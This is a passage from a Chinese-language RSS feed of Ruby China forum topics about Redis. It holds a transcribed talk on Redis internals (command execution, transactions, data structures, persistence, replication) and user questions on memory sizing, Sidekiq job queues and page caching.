&lt;p&gt;第五、如果服务器有最大内存限制，必须限制性一下 freeMemorylfNeed 这个过程。&lt;/p&gt;

&lt;p&gt;第六、如果服务器状态出现了问题，那么停止执行命令。&lt;/p&gt;

&lt;p&gt;第七、如果服务器设置了最小的 slave 数量限制，当 slave 数量小于最小 slave 数量的时候，停止执行命令。&lt;/p&gt;

&lt;p&gt;第八、如果服务器为 slave，则不接受 write 命令。&lt;/p&gt;

&lt;p&gt;第九、只能支持 pub/sub 相关的命令了。&lt;/p&gt;

&lt;p&gt;第十、当 slave 和 mater 的连接已经断开，并且设置了跟 mater 断开后不再提供服务，那么停止执行命令。&lt;/p&gt;

&lt;p&gt;第十一、如果服务器正在装载数据中，则不接受命令。


第十二、如果 lua 脚本执行速度太慢了，也会停止执行命令。&lt;/p&gt;

&lt;p&gt;在命令真正的执行过程当中，Redis 分成了两个步骤。第一种，假如已经用了刚才讲的事务处理模式，Redis 会把命令在 Q 里面存起来。所以，真正到 EXEC 之前，打开事务模式，把丢过来的命令先在 Q 存起来，真正执行的时候再执行。第二种，假如不是事务模式，这个时候它就会去真正调用这个 proc 函数，把 Redis 命令真正在后台执行。比如，刚才提到的事务模式，通过 MULTI 关键词输入，后面就起到命令模式，如果后面不调用，它就不会真正执行。&lt;/p&gt;
&lt;h2 id="命令执行过程"&gt;&lt;strong&gt;命令执行过程&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/7.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;刚才事务执行时候的命令过程，会把队列里面的命令一个一个拿出来，然后去执行的过程。一个正常命令的执行过程，主要是分成几个步骤：&lt;/p&gt;

&lt;p&gt;第一，假如有监视器状态的客户端，首先会把命令发送给客户端。什么叫监视器？举个例子，我是 mater slave 机制的，首先要把这个机制告诉 slave，你要去执行这条命令。&lt;/p&gt;

&lt;p&gt;第二、真正执行。&lt;/p&gt;

&lt;p&gt;第三、开启慢查询。&lt;/p&gt;

&lt;p&gt;第四、监视就是监视器的命令，哪条命令要执行了，什么日志，什么参数都会发送给我，这是第一步要执行的，只有真正执行完，才会把这个工作发送给 AOF 和 Slave，这样才符合逻辑。&lt;/p&gt;

&lt;p&gt;AddReply 会注册写事件到 epoll 里面去，通过 prepareClientToWrite。第二、会调用 _addReplyToBuffer 数据写到 buf 中。下一次执行的时候才会循环这个动作，这样每次做的时候，TPS 在单线程，单进程的情况下还能达到理想的状况。第三、假如 buf 为不够大，会添加到链表里面去。&lt;/p&gt;

&lt;p&gt;其实 RedisDb 最最核心的实现就是一个置顶的实现，比如有存数据的置顶，就是要不要过期，其实也是存在置顶里面。举个例子，有些请求它其实会阻塞的，阻塞到哪里？有一个阻塞器置顶。当阻塞已经就绪了，有一个就绪的 1 K 的置顶，还可以坚持某个 K。置顶的具体实现，就不再讲了。&lt;/p&gt;
&lt;h2 id="核心数据结构"&gt;&lt;strong&gt;核心数据结构&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/8.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;因为我们最终服务器其实都跟核心的数据结构操作相关。首先，看 string 这个东西，其实 string 就是一个 struct 指针，可以描述长度，还剩余多少等等这些东西。看一下 struct 指针到底怎么指的，它会把 sdshdr 放到内存的前面，把 buf 放到内存的后面。Redis 检索怎么查找到 sdshdr 这个区域，一般通过目前 buf 最前置的指针减去 sdshdr 这个长度，就知道 sdshdr 在哪里。&lt;/p&gt;

&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/9.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;我们知道字符串其实就是一个 struct 结构，接下来看一下 hash 结构怎么实现的。hash 本质是基于 ziplist 的实现，关于 ziplist 的实现，ziplist 通过文本定义了一个数据结构。其实 ziplist 可以认为里面是一个一个的元素。我们理解 hash_max 的时候，有一个 hash_max_ziplist_value 的结构，就是通过这张图描述的这种方式把里面的东西捞出来了。当然，ziplist 在存储 hash 的时候，hash 通过两种方式存的。第一、ziplist 这种结构。因为 ziplist 具体的长度是可以设置的，当你的长度超过了某个数值之后，它就会转成 dict 的这个结构，最最原始的 dict 的结构，这样它存储的时候都存到 dict 的结构体里面去了。&lt;/p&gt;

&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/10.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;list 其实就是我们通常用的比较经典的这种双向链表，头指针，尾指针，定义了 list。接下来还有一个 set。其实 Redis set 还是存在 dict 这样的结构里面的，因为 list 只有 Velue 没有 Key。Redis 还有一个数据结构叫 Sorted Sets，它是为了加速检索的过程，用到以空间换时间的方式。举个例子，可能有些场景用搜索引擎构建的时候，觉得太麻烦，会建几张表做索引，其实 Sorted Sets 也是一样的，就是通过 span 结构实现了多级索引查询的过程。可以在这个 Velue 之上通过多级指针进行检索。Redis 里面有一个 pub/sub_channels 这么一个属性，当有什么东西要给客户端的时候，会到这个队列里面查看有没有注册上来的客户端。&lt;/p&gt;

&lt;p&gt;事务处理当中，可能还要注意几点：&lt;/p&gt;

&lt;p&gt;首先，假如客户端的 flag 是 DIRTY_CAS 或者是 DIRTY_EXEC，就放弃执行事务了。&lt;/p&gt;

&lt;p&gt;第二、在事务执行期间，取消对 key 的 Watch。&lt;/p&gt;

&lt;p&gt;第三、遍历执行队列中的命令。&lt;/p&gt;

&lt;p&gt;第四、通过 ReplicationFeedmonitors 服务器同步给 Monitors 客户端进程。&lt;/p&gt;

&lt;p&gt;持久化 rdb 的过程，其实 Redis 服务器分成两个步骤，第一、rdb 的持久化，第二、AOF 的持久化，基于 rdb 的持久化方式，服务器启动的时候，首先会调用 serverparamslen 的函数，然后 rdb 的工作会把内存里面存的数据，原封不动的拷贝，存储到本地磁盘当中去。rdbSave 不是让组件程序看这个活，我们需要 fork 一个子进程专门做 rdeSave 的数。&lt;/p&gt;

&lt;p&gt;1、创建临时文件：temp-%d 为 rdb&lt;/p&gt;

&lt;p&gt;2、调用 rdbSaveRio 将 db 中的数据獬入到临时文件。&lt;/p&gt;

&lt;p&gt;3、调用 fflush，fsync 将缓存中的数据刷新到磁盘。&lt;/p&gt;

&lt;p&gt;4、将 temp 文件重命名为正式的 rdb 文件，后面就是这些描述，这些描述跟前面讲的 Redis 的数据结构其实是对应起来的，然后以这种方式存到这个里面去。&lt;/p&gt;

&lt;p&gt;aof 存储的格式和刚才我们请求协议里面讲到的协议是一模一样的，就是纯文本的，比如 set 什么东西，就是一模一样的东西存在这个文件里面。假如开启了 aof 这个功能，会把你历史执行的命令记录原封不动都存在里面，这样这个文件会越来越大。当然，Redis 提供给我们一个功能，可以把 aof 命令压缩。在每次 Redis 重启之后，如果开启了 aof 功能，就会重载 aof 文件中的数据执行命令。然后 Redis 提供了 rewriteaof 定期压缩的功能，其实就是把 db 中的数据重新生成一份新的 aof。&lt;/p&gt;

&lt;p&gt;Redis 的内存分配还是比较简单，不像 memorycash。Redis 通过调用原生的函数直接向操作系统申请内存。当内存不停的申请，在使用一段时间之后，Redis 会处罚一些淘汰的策略。这个淘汰分成两种，一种是主动淘汰，举个例子，当我们在调用 RandomKey 等这些函数的时候，首先会主动的淘汰一些内存，这个就叫主动淘汰。还有一种淘汰是 lru 的淘汰，当你在执行的过程当中，如果内存不够，就会处罚 lru 的淘汰算法。另外，还有被动淘汰，前面讲到因为我们在 main 函数调用真正的 epoll 死循环的前置有一个 beforeSleep，beforeSleep 函数里面会在 databasesCron 定时器都调用 activeExpireCycle。&lt;/p&gt;
&lt;h2 id="Replication 机制"&gt;&lt;strong&gt;Replication 机制&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/11.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;RedisReplication 的机制，分为客户端请求和服务器的处理。我们启动客户端的时候，main 函数里面会调用 serverCron，在 serverCron 里又会调用 ReplicationCron 这个函数，每隔一秒钟会触发这个函数。&lt;/p&gt;

&lt;p&gt;Replication 机制的工作原理。假如说，我们支持 psync 这个协议，服务端会发送我现在的 runid 和 offset。相当于 rdb 同步到哪个地方了，会把 offset 发送给客户端，每个客户端都会保持一个 cashed_master 节点，就是长链接断掉之后，还会有一个 cashed_master 在。假如不支持 psync 协议，则发送 sync 协议。&lt;/p&gt;

&lt;p&gt;服务器端的实现，主要由 syncCommand 实现，它主要的执行过程是这样的。&lt;/p&gt;

&lt;p&gt;第一、psync 这种模式，首先会进行 runid 和 offset 的校验，并发送新的给客户端。&lt;/p&gt;

&lt;p&gt;第二、psync 最后会把现在内存里面增量的数据发送给客户端。&lt;/p&gt;

&lt;p&gt;第三、如果全量同步，首先会触发一个 bgsave，把内存里面的数据，本地保存一份，再推给客户端。如果我们没有定制过的 Redis 服务器，直接从 Redis 那个网站上下载的 Redis 服务器，如果在全量同步的时候，客户端连接太多，调用的时候就会断掉。&lt;/p&gt;

&lt;p&gt;第四、触发 sync 的过程。如果是全量，先 rdb 保存一份，再把全量的数据托管。&lt;/p&gt;
&lt;h2 id="定制开发 Redis"&gt;&lt;strong&gt;定制开发 Redis&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/12.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;首先，在 Redis.c 文件找到 RedisCommandTable，添加命令，比如添加“test”，testCommannd，-5 的函数。&lt;/p&gt;

&lt;p&gt;第二、添加命令处理函数。完了我们要修改这个 makefile 文件，最终编译打包。其实真正做的时候没有那么简单，因为 Redis 在内部，你在调用过程当中，会用到它很多内部的函数。所以，你要真正的完整开发定制一个 Redis，步骤是这样，但是需要把这些函数从头到尾学习一遍，如果你自己又去开发函数，会把 Redis 搞得乱七八糟，很糟糕，可能不一定能跑的很好。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;本文整理自 UPYUN Open Talk 主题技术沙龙第十四期的讲师现场分享内容。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;查看 &amp;amp; 下载讲师课件及现场视频、了解更多该活动产生的技术分享内容，请关注 UPYUN 微信公众号（upaiyun）&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/%E5%9B%BE%E7%89%871.jpg" title="" alt=""&gt;&lt;/p&gt;</description>
      <author>upyun</author>
      <pubDate>Mon, 19 Oct 2015 16:44:36 +0800</pubDate>
      <link>https://ruby-china.org/topics/27731</link>
      <guid>https://ruby-china.org/topics/27731</guid>
    </item>
    <item>
      <title>如何评估或计算某些 Redis 数据的内存占用量？</title>
      <description>&lt;p&gt;我搭建了一个中心服，不同服务器的数据都会发送到中心服进行计算和存储，主要是用于全服排行这样的需求，为了满足实时性和高效性，我采用了 redis，大量使用了哈希和有序集合这样的数据结构去存储用户的数据，随着用户数量的增长，我如何去有效评估内存的使用量，从而合理设置内存大小，避免数据量过大导致内存溢出？&lt;/p&gt;

&lt;p&gt;不知道大家有没有相关的实战经验，若能指点一二，不胜感激！！！&lt;/p&gt;</description>
      <author>jasonliu</author>
      <pubDate>Thu, 08 Oct 2015 15:48:17 +0800</pubDate>
      <link>https://ruby-china.org/topics/27583</link>
      <guid>https://ruby-china.org/topics/27583</guid>
    </item>
    <item>
      <title>用 Sidekiq 和 Redis 实现不同项目中通信的消息队列</title>
      <description>&lt;p&gt;有两个 Rails 项目，爬虫 和 展示，他们共享一个 redis 服务器，爬虫的 sidekiq 配置的默认 redis_db  是 1，展示的 sidekiq 配置的默认 redis_db 是 2。
希望做到当爬虫爬到一个网页后，通知展示项目去跑一个 ReadCrawlerJob 的任务。&lt;/p&gt;

&lt;p&gt;有一种做法是在展示中起一个 循环监听，来监听爬虫的 redis 中的一个 list，爬虫每次爬到东西就往 list 里面加。&lt;/p&gt;

&lt;p&gt;我希望能把这个过程整合到 sidekiq 里面去，而不用去维护多余的进程，所以想出了下面的办法，测试暂时 OK，不知道会有什么潜在的问题。&lt;/p&gt;

&lt;p&gt;1.在 initialize 中 monkey patch 一下 Sidekiq ::Client，参照 sidekiq  在  github 上最新的代码，用 new 取代了 default&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Sidekiq::Client&lt;/span&gt;
  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;default&lt;/span&gt;
      &lt;span class="n"&gt;new&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.配置一个指向 展示 redis_db 的 redis connection_pool&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="vg"&gt;$show_redis_pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;ConnectionPool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="no"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="ss"&gt;db: &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.在爬虫里面写一个空的 ReadCrawlerJob，类名和队列名要和 展示项目中一致。在 展示 里面实现有功能 ReadCrawlerJob, 并开启 sidekiq。&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="err"&gt;＃&lt;/span&gt; &lt;span class="n"&gt;爬虫&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ReadCrawlerJob&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveJob&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Base&lt;/span&gt;
  &lt;span class="n"&gt;queue_as&lt;/span&gt; &lt;span class="ss"&gt;:read_crawler_job&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# 这里啥也不做&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="err"&gt;＃&lt;/span&gt; &lt;span class="n"&gt;展示&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ReadCrawlerJob&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveJob&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Base&lt;/span&gt;
  &lt;span class="n"&gt;queue_as&lt;/span&gt; &lt;span class="ss"&gt;:read_crawler_job&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# 这里实现功能&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4.在爬虫抓到一个网页后&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;current&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:sidekiq_via_pool&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="no"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;current&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:sidekiq_via_pool&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="vg"&gt;$show_redis_pool&lt;/span&gt;
&lt;span class="no"&gt;ReadCrawlerJob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform_later&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="no"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;current&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:sidekiq_via_pool&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样，在爬虫抓到内容后，会向 redis_db 2 的 queue 添加 job，展示项目就可以自动处理了。&lt;/p&gt;</description>
      <author>lithium4010</author>
      <pubDate>Fri, 11 Sep 2015 16:29:05 +0800</pubDate>
      <link>https://ruby-china.org/topics/27287</link>
      <guid>https://ruby-china.org/topics/27287</guid>
    </item>
    <item>
      <title>Redis 资料汇总</title>
      <description>&lt;p&gt;移步：
&lt;a href="http://blog.nosqlfan.com/html/3537.html" rel="nofollow" target="_blank"&gt;http://blog.nosqlfan.com/html/3537.html&lt;/a&gt;
按需自取&lt;/p&gt;</description>
      <author>sun1752709589</author>
      <pubDate>Wed, 02 Sep 2015 18:07:19 +0800</pubDate>
      <link>https://ruby-china.org/topics/27169</link>
      <guid>https://ruby-china.org/topics/27169</guid>
    </item>
    <item>
      <title>Apache benchmark 测试并发情况下的缓存使用情况，感觉缓存的应用并没有起到多大作用</title>
      <description>&lt;p&gt;采用的是 redis 服务器作为缓存服务器，今天做了对比实验，一组采用了 fragment cache 缓存，一组没有做缓存。用 Apache benchmark 做的并发测试。
服务器的配置：内存：8G; 
                                CPU : 双核;
                                系统：CentOS;
            测试机：Windows 7;
采用的是内网测试，网络延时基本不会存在。
下表是得出的数据
&lt;img src="https://l.ruby-china.com/photo/2015/fc72c56ce8bdcdd223a5280c52caf9ae.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;然后在往上测并发 1000+ 的时候就不行了。就这些数据分析，感觉缓存的作用并不是很大。
按照正常的思路，采用缓存之后，每次加载页面都是直接从 redis 服务器的内存中读取的。
那么，当并发数大了之后，应该会明显感觉速度比不使用缓存时的速度快很多才是的 ( ⊙ o ⊙ )！
为什么会出现这种情况呢？是并发数太少，还是本身页面缓存的作用就不是很大？求大神帮忙解释下呗╮(╯_╰)╭
PS: 本地单机测试，不使用缓存加载时间平均时间大概在 400-600ms 之间；使用缓存的情况下，项目首页的加载时间平均在 200-250ms 之间。
使用缓存后页面加载的时间比不使用的情况下快了 200-300ms。&lt;/p&gt;</description>
      <author>alanlong</author>
      <pubDate>Fri, 03 Jul 2015 01:00:04 +0800</pubDate>
      <link>https://ruby-china.org/topics/26297</link>
      <guid>https://ruby-china.org/topics/26297</guid>
    </item>
    <item>
      <title>使用 redis 服务器做页面缓存，当用户量大的时候会不会出现内存爆掉的现象</title>
      <description>&lt;p&gt;最近想用 redis 做缓存服务器，看了 Tower 的缓存方针，想做页面缓存。但是发现了这样一个问题。当代码如下时：&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sx"&gt;% cache &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:courses_jours_list&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vi"&gt;@course&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="vi"&gt;@jour.maximum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:updated_on&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="sx"&gt;%&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次只要 jour 列表有更新，就会生成一个新的缓存片段【views/courses_jours_list/updated_on 时间】。
那么如果这种情况很多的话，当某一段时间网站访问量很大时，生成了很多的缓存片段，单纯的靠 redis 的 lru 机制，很有可能会误删除有用的缓存页面，而且内存可能一直处于爆满的状态。
请问各位大神，有没有好一点的解决方案。 
PS:尝试过在更新时进行缓存过期操作，但是当有很多页面都牵扯到某一个表单时，很可能会漏掉写缓存过期。&lt;/p&gt;</description>
      <author>alanlong</author>
      <pubDate>Mon, 15 Jun 2015 17:40:18 +0800</pubDate>
      <link>https://ruby-china.org/topics/26026</link>
      <guid>https://ruby-china.org/topics/26026</guid>
    </item>
  </channel>
</rss>
